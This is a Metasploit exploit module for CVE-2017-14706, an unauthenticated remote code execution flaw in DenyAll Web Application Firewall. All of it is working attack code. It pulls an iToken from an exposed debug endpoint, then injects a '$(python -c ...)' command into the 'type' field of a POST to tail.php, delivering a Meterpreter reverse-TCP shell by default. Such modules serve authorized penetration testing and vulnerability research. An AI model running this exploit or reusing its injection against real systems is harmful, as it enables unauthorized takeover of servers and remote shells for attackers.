##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "DenyAll Web Application Firewall Remote Code Execution",
        'Description' => %q{
          This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated users can execute a
          terminal command under the context of the web server user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
        ],
        'References' => [
          ['CVE', '2017-14706'],
          ['URL', 'https://pentest.blog/advisory-denyall-web-application-firewall-unauthenticated-remote-code-execution/'],
          ['URL', 'https://www.denyall.com/blog/advisories/advisory-unauthenticated-remote-code-execution-denyall-web-application-firewall/']
        ],
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 3001,
          'Payload' => 'python/meterpreter/reverse_tcp'
        },
        'Platform' => ['python'],
        'Arch' => ARCH_PYTHON,
        'Targets' => [[ 'Automatic', {}]],
        'Privileged' => false,
        'DisclosureDate' => '2017-09-19',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable DenyAll WAF', '/'])
      ]
    )
  end

  def get_token
    # Taking token by exploiting bug on first endpoint.
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'webservices', 'download', 'index.php'),
      'vars_get' => {
        'applianceUid' => 'LOCALUID',
        'typeOf' => 'debug'
      }
    })

    if res && res.code == 200 && res.body.include?("iToken")
      res.body.scan(/"iToken";s:32:"([a-z][a-f0-9]{31})";/).flatten[0]
    else
      nil
    end
  end

  def check
    # If we've managed to get token, that means target is most likely vulnerable.
    token = get_token
    if token.nil?
      Exploit::CheckCode::Safe('The target is not vulnerable')
    else
      Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end
  end

  def exploit
    # Get iToken from unauthenticated accessible endpoint
    print_status('Extracting iToken value')
    token = get_token

    if token.nil?
      fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
    else
      print_good("Awesome. iToken value = #{token}")
    end

    # Accessing to the vulnerable second endpoint where we have command injection with valid iToken
    print_status('Trigerring command injection vulnerability with iToken value.')
    r = rand_text_alpha(5 + rand(3));

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'webservices', 'stream', 'tail.php'),
      'vars_post' => {
        'iToken' => token,
        'tag' => 'tunnel',
        'stime' => r,
        'type' => "#{r}$(python -c \"#{payload.encoded}\")"
      }
    })
  end
end
